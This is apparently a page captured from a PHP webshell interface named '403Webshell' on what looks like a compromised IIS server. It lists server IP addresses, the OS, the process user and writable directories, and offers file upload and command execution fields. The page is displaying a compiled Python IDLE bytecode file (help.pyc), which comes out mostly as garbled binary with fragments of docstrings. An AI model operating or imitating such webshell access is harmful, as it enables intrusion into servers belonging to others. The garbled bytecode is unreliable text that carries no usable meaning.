403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python315/Lib/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python315/Lib/idlelib/__pycache__/help.cpython-315.opt-1.pyc
R
>lqj�6c�V�Qs]PHs]PHs]QHGs]QHGsGsGsG	s	]QH(Gs]QH0G
s
GsGs]QH@GsGsGsGs]QH0Gs]QH\Gs]QHdGsQ	Q
\2sQQ\2sQ
Q\2sQQ\
2sQsQs Qs!\"Q6Xc"]QH�G$s$\$Q]P
Q5]QH�G&s&\&\ 2P!P!)a�help.py: Implement the Idle help menu.
Contents are subject to revision at any time, without notice.


Help => About IDLE: display About Idle dialog

<to be moved here from help_about.py>


Help => IDLE Help: Display help.html with proper formatting.
Doc/library/idle.rst (Sphinx)=> Doc/build/html/library/idle.html
(help.copy_strip)=> Lib/idlelib/help.html

HelpParser - Parse help.html and render to tk Text.

HelpText - Display formatted help.html.

HelpFrame - Contain text, scrollbar, and table-of-contents.
(This will be needed for display in a future tabbed window.)

HelpWindow - Display HelpFrame in a standalone window.

copy_strip - Copy the text part of idle.html to help.html while rstripping each line.

show_idlehelp - Create HelpWindow.  Called in EditorWindow.help_dialog.

_get_dochome() - Return path to docs on user's system if present,
otherwise return link to docs.python.org.
)�
HTMLParser)�abspath�dirname�isfile�join)�python_version)�Toplevel�Text�Menu)�Frame�
Menubutton�	Scrollbar�Style��font)�idleConf)�color_configc�H`�\sQs]0snQsQsQQksQsQsQs	Qs
UsP!)	�
HelpParserafRender help.html into a text widget.

The overridden handle_xyz methods handle a subset of html tags.
The supplied text should have the needed tag configurations.
The behavior for unsupported tags, such as table, is undefined.
If the tags generated by Sphinx change, this class, especially
the handle_starttag and handle_endtags methods, might have to also.
c���[OUP	Q5VmPUmPUmP
Um]UmP
UmPUmP
Um	P
Um
,UmPUmPUm
P!)T)�convert_charrefs)r�__init__�text�tags�chartags�hdrlink�level�pre�hprefix�	nested_dl�
simplelist�toc�header�prevtag)�selfrs&&�!C:\Python315\\Lib\idlelib\help.pyr�HelpParser.__init__9sd�����D�4�8��	���	���
������
����������������������c��U9OU*
tmUO]6Xc
PUmP!Q[UO2*UmP!)z#Change indent (+1, 0, -1) and tags.�l)r�strr)r#�amts&&r$�indent�HelpParser.indentHs4���
�
�c��
��*�*��/�B��	�s�3�t�z�z�?�/B��	r&c�p�PoSFDvqEUQ6XfJSoJ	PoUQ6XclUO%cZUO]*%fAUOOQQ2oU%cUO2%fQLQoCLlUQ6XcUQ6Xc
QUmCLUUQ6XcUQ	6Xc
Q
UmCL>UQ
6Xc
Q
UmCL.UQ7c9UOQ2P6wcQoP	UmLP
UmUO2L�UQ6XcUO]6�cP	Um	L�UQ
6XcQoL�UQ6XcUO%fQLQoP
Um	L�UQ6XcUO2QoL�UQ6Xc,P	Um
UOOQQ2QUmLTUQ6XcUQ6Xc	P	Um
L>UQ6XcVmL0UQ7c*PUmUOOQQ2VmUOOQV`OUO12P	U1UmP!)zHandle starttags in help.html.�class�pzend-1c linestartzend-1cz

�
�spanr�versionmodified�em�simple�dl�liz
* �dt�dd�end�preblock�a�
headerlink�h1)�ul�ol)�h2�h3)r"r�get�isspacer�findrr+rrr�insertrrr!)r#�tag�attrs�class_r;�v�s�lastlines&&&     r$�handle_starttag�HelpParser.handle_starttagMs������D�A��G�|����
���#�:�$�,�,�,�t�|�|�A����y�y�}�}�%7��B�H�"�8�+;�+;�+=�+=��4�A�
�F�]�v���!�D�M�
�F�]�v�):�:� �D�M�
�D�[� �D�M�
�L�
 ��{�{�8�$��*���"&���"'����K�K�M�
�D�[��z�z�A�~�!%����
�D�[��A�
�D�[�"�n�n�n��$�A�"�D�N�
�D�[��K�K�M��A�
�E�\��D�H��I�I���U�F�+�"�D�I�
�C�Z�F�l�2��D�L�
�D�[��I�
�L�
 ��D�K��I�I���U�F�+��I��	�	�����I�I�t�}�}�#=�>��c�{��r&c��UQ7ccUQ6XcQL
UQ6XcQLPoUOOV O*UOO	Q212PUmLLUQ	7c	PUmL=UQ6Xc	P
UmL.UQ6XcP
UmPUmLUQ
7cUOP2P
U1Um
P!)zHandle endtags in help.html.r@rAz        z    rEr;r�r=r@rA)r1r3)r>r8r?)r �appendr!r�indexrrrrr+r")r#rFr+s&& r$�
handle_endtag�HelpParser.handle_endtag�s����$�$�$'�4�K�j� #�t��f��
�
�H�H�O�O�V�K�K�/�������1J�K�L��D�I�
�N�
"��D�M�
�C�Z� �D�L�
�E�\��D�H��D�I�
�&�
&��K�K��O��s�|��r&c���UO%Cf5UO%cSLUOQQ2oUOQ6XcBUPUO	Q2UmUO
O
2%fPUmUOQ7cxUO
P6wc@U][UO
2UO
6XcU[UO
2PoU9OUO2*
tm	UOOQV OUO12P!P![cPSmK�h9h)z"Handle date segments in help.html.r0� r=r9rO)rr�replacerrQr�isdigit�
ValueError�lenr!�striprrEr)r#�data�ds&& r$�handle_data�HelpParser.handle_data�s���|�|�|������d�l�l�4��&=�A��y�y�D� �&�#$�]�a�g�g�c�l�#3�D�L��<�<�/�/�1�1�')����y�y�.�.��L�L�B�&��a��D�L�L�)�*�d�l�l�:��#�d�l�l�+�,�-�A����q�w�w�y�(���I�I���U�A�	�	�4�=�=�'A�B���"�&�#%�D�L�&�s�
8E�E�	E �E �E )rrr!rrrrr"rrrr )�)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr+rLrRr]�__static_attributes__�__classdictcell__��
__classdict__s@r$rr0s,�����
�C�
1#�f$�(C�Cr&rc�2`�\sQs]�snQsQsQsQsUsP!)�HelpTextzDisplay help.html.c���[OQQQQQ5o[OQQQQQ5o]U*]*o[OVQ]]]V4Q5UO	,QN2oUO	,QN2o[U2U]1UQ	$UO
Q
U]Q1Q5UO
Q
U]Q1Q5UO
QU]Q1Q5UO
QU]Q1Q5UO
QU]1Q5UQ*oUO
QU]
1]UQ5UO
Q]]Q5UO
Q]2]2Q5UO
Q]K]KQ5UO
Q]d]dQ5[U2Um[UQQ59^tt^2oUO2o	PPP2UOOW	2QUQ$P!)%fhK29h) z'Configure tags and feed file to parser.�main�EditorWindow�width�int)�type�height�word)�wrap�highlightthickness�padx�borderwidthrnrqrr3�italicrr=�boldr@rAr�selectbackgroundr:)r�lmargin1�
background�l1)rz�lmargin2�l2�l3�l4�utf-8��encoding�disabled�state)�
TkDefaultFont�arial�	helvetica)�TkFixedFont�monaco�courier)r�	GetOptionrr�findfontr�
tag_configurer�parser�open�read�feed)
r#�parent�filename�uwide�uhigh�
normalfont�	fixedfont�preback�f�contentss
&&&       r$r�HelpText.__init__�s����"�"�6�>�7��O���"�"�6�>�8�%�P���E�	�Q����
�
�d��A��!�5�	H��]�]�#J�K�
��M�M�"F�G�	��T��"�B�'��V�����4�z�2�x�&@��A����4�z�2�v�&>��?����4�z�2�v�&>��?����4�z�2�v�&>��?����5�	�2���7��)�*�����:�Y��O�b�&-�	�	/����4�"�r��:����4�"�r��:����4�"�r��:����4�#���<� ��&���
�(�W�
-�
-���v�v�x�H�.�������"�"��W�
�.�
-�s�G�G'	� G'	c�L�SFD�oUO2Q[OUQ527c4[OUP	UQ5oUO	2Q*t!UO2Q[O
UQ527fJ�Ut!	P!)z4Return name of first font family derived from names.c3�L�SF �DpO2w�	J	P!3h�N��lower��.0�xs& r$�	<genexpr>�$HelpText.findfont.<locals>.<genexpr>�s��3J���3J�a���	�	�3J�s�$)�root)�name�existsr��familyc3�N�SF �DoUO2w�	J	P!3hr�r�r�s& r$r�r��s��+E���+E�a�#$�'�'�)�)�+E�s�%)r��tkfont�names�Font�actual�families)r#r�r�rs&&  r$r��HelpText.findfont�sx���D��z�z�|�K�6�<�<�T�3J�K�K��{�{��T��E���{�{�}�X�.�.�����"G�+1�?�?��+E�"G�G���
r&)r�)	r`rarbrcrdrr�rerfrgs@r$rjrj�s�����#�>�r&rjc�2`�\sQs]�snQsQsQsQsUsP!)�	HelpFramez&Display html text, scrollbar, and toc.c��[OV2[V29Umo[	U2UmQUQ$UO
O
QUQ*Q5UOU29Umo[VOQ59UmoUOUQ$UO]]Q5UO]]Q5UO]]QQ5UO]]Q	Q5UO]]Q
Q5P!)zhelpframe.TFrame�styler{)r{)�command�yscrollcommand��weight�nw)�row�column�sticky�nsew�ns)r
rrjrr
r��	configure�toc_menur r�yview�scroll�set�rowconfigure�columnconfigure�grid)r#r�r�rr r�s&&&   r$r�HelpFrame.__init__�s���
���t�$�#�D�3�3��	�D��6�]��
�*��W�
��
�
���/�D��<N��O����t�,�,���3�(��z�z�B�B���f�!'����
�����!�A��&����Q�q��)����Q�q���.��	�	�a��&�	�1�����!�D��1r&c�`�[UQQ5o[UP
Q5oROOFDvqEUO	VE1U1QkkQ5J 	V2Q$U!)z+Create table of contents as drop-down menu.�TOC)r)�tearoffc�(:�ROU2!r�)r�)�dexrs&�r$�<lambda>�$HelpFrame.toc_menu.<locals>.<lambda>�s
���t�z�z�#�r&)�labelr��menu)rr	r�r �add_command)r#rr �drop�lblr�s&f    r$r��HelpFrame.toc_menu�sO�����E�*���C��'�������H�C����3�0N��O�(��F���
r&)r�r�rr )	r`rarbrcrdrr�rerfrgs@r$r�r��s����,�2� �r&r�c�,`�\sQs]�snQsQsQsUsP!)�
HelpWindowz!Display frame with rendered html.c�6�[OV2UOU2UOQUO2[V2UmUOO]]QQ5UO]]Q5UO]]Q5P!)�WM_DELETE_WINDOWr�)r�r�r�r�)
rr�wm_title�protocol�destroyr��framer��grid_columnconfigure�grid_rowconfigure)r#r�r��titles&&&&r$r�HelpWindow.__init__�sw�����$�'��
�
�e���
�
�(�$�,�,�7��t�.��
��
�
���q�a���7��!�!�!�A�!�.����q���+r&)r�)r`rarbrcrdrrerfrgs@r$r�r��s����'�,�,r&r�c�B�[[[[[[2222QQQQQ2o[[[[22Q2o[	UQQQ	59^tt^2o[	UQ
QQ	59^tt^2oP
oSFDFoQU7cP	oQU7cL4U%fJ UOUO
2Q
*2JH	PPP2PPP2[UQU02P!)%fhK*9h)%fhK59h)a+Copy the text part of idle.html to idlelib/help.html while stripping trailing whitespace.

Files with trailing whitespace cannot be pushed to the git cpython
repository.  For 3.x (on Windows), help.html is generated, after
editing idle.rst on the master branch, with
  sphinx-build -bhtml . build/html
  python_d.exe -c "from idlelib.help import copy_strip; copy_strip()"
Check build/html/library/idle.html, the help.html diff, and the text
displayed by Help => IDLE Help.  Add a blurb and create a PR.

It can be worthwhile to occasionally generate help.html without
touching idle.rst.  Changes to the master version and to the doc
build system may result in changes that should not change
the displayed text, but might break HelpParser.

As long as master and maintenance versions of idle.rst remain the
same, help.html can be backported.  The internal Python version
number is not displayed.  If maintenance idle.rst diverges from
the master version, then instead of backporting help.html from
master, repeat the procedure above to generate a maintenance
version.
�Doc�build�html�libraryz	idle.html�	help.html�rr�r��wz<section id="idle">z<div class="clearer">r0z copied to )rrr�__file__r��writerZ�print)�src�dst�inn�out�copy�lines      r$�
copy_stripr��s���.�w�w�w�w�x�'8�9�:�;��7�F�I�{�<�C�
�w�w�x�(�)�;�
7�C�	
�c�3��	)�	)�S�$�s�C�'�2R�2R�VY����D�$��,�T�d�&�$�.���t�S�Y�Y�t�z�z�|�d�2�3��3S�	)�
�S�E��S�E�
"�#�3S�2R��	)�	)�sB�2D�	C;	�C;	�"C;	�/*C;	�D�;D
�D
�D�D	�D	c��[[[[22Q2o[	U2%fP![VQ[
2*2!)z7Create HelpWindow; called from Idle Help event handler.r�z
IDLE Doc (%s))rrrr�rr�r)r�r�s& r$�
show_idlehelpr� s;���G�G�H�-�.��<�H��(�����f��.�:J�(J�K�Kr&c��[OO[OQQ2o[O
O
Q2%crQQ[OQ***o[OOQ2%cQoL�Q	o[OOV!QQ2oL�[O
Q*Q
6Xc`]PH&oPoQ[OQ0oUOUOU2o[OOU2%cSoLC[O
Q
6Xc/[OO[OQ2o[OO!U2o[OOU2%c![O
Q
6Xc
QU*!U!Q[OQ**![c5SOSOS2oCK[cCK'h9hh9h)zHReturn path to local docs if present, otherwise link to docs.python.org.r�z
index.html�linuxzpython-docs-z%s.%s.%s:N�Nz/var/www/html/python/z/var/www/html/python/index.htmlz/usr/share/doc/�winzSoftware\Python\PythonCore\z\Help\Main Python Documentation�darwinz0Resources/English.lproj/Documentation/index.htmlzfile://zhttps://docs.python.org/%d.%d/:N�N)�os�pathr�sys�base_prefix�platform�count�version_info�isdir�winreg�winver�
QueryValue�HKEY_CURRENT_USER�FileNotFoundError�HKEY_LOCAL_MACHINEr�normpath)�dochome�pyver�basepathr�docfile�KEYs      r$�_get_dochomer)s����g�g�l�l�3�?�?�E�<�@�G�
�|�|���'�"�"���c�.>�.>�r�.B�!B�B��
�7�7�=�=�0�1�1�7�G�(�H��g�g�l�l�8�E�<�H�G�	���b�	�U�	"����-�c�j�j�\�1�2��	��'�'��(@�(@�#�F�G��7�7�>�>�'�"�"��G��	����	!��'�'�,�,�s���Q�S���g�g���w�'�G�	�w�w�~�~�g����<�<�8�#��w�&�&���/�#�2B�2B�2�2F�F�F��%!�	�
� �+�+�F�,E�,E�s�K���$�
��
��	�s6�>H�	I�I�H2�2	I�<I�=I�I�I�__main__)rlzidlelib.idle_test.test_help)�	verbosity�exit)�run)'rdr�r��html.parserr�os.pathrrrrrr�tkinterrrr	�tkinter.ttkr
rrr
rr��idlelib.configr�idlelib.colorizerrrrjr�r�r�r�rr`�unittestrl�idlelib.idle_test.htestr�r&r$�<module>rs����:
�
�"�2�2�#�(�(�;�;�"�#�*�tC��tC�n)�t�)�X���8	,��	,�"$�JL�&G�R�z����	&�!�%�@�+��
��r&

Youez - 2016 - github.com/yon3zu
LinuXploit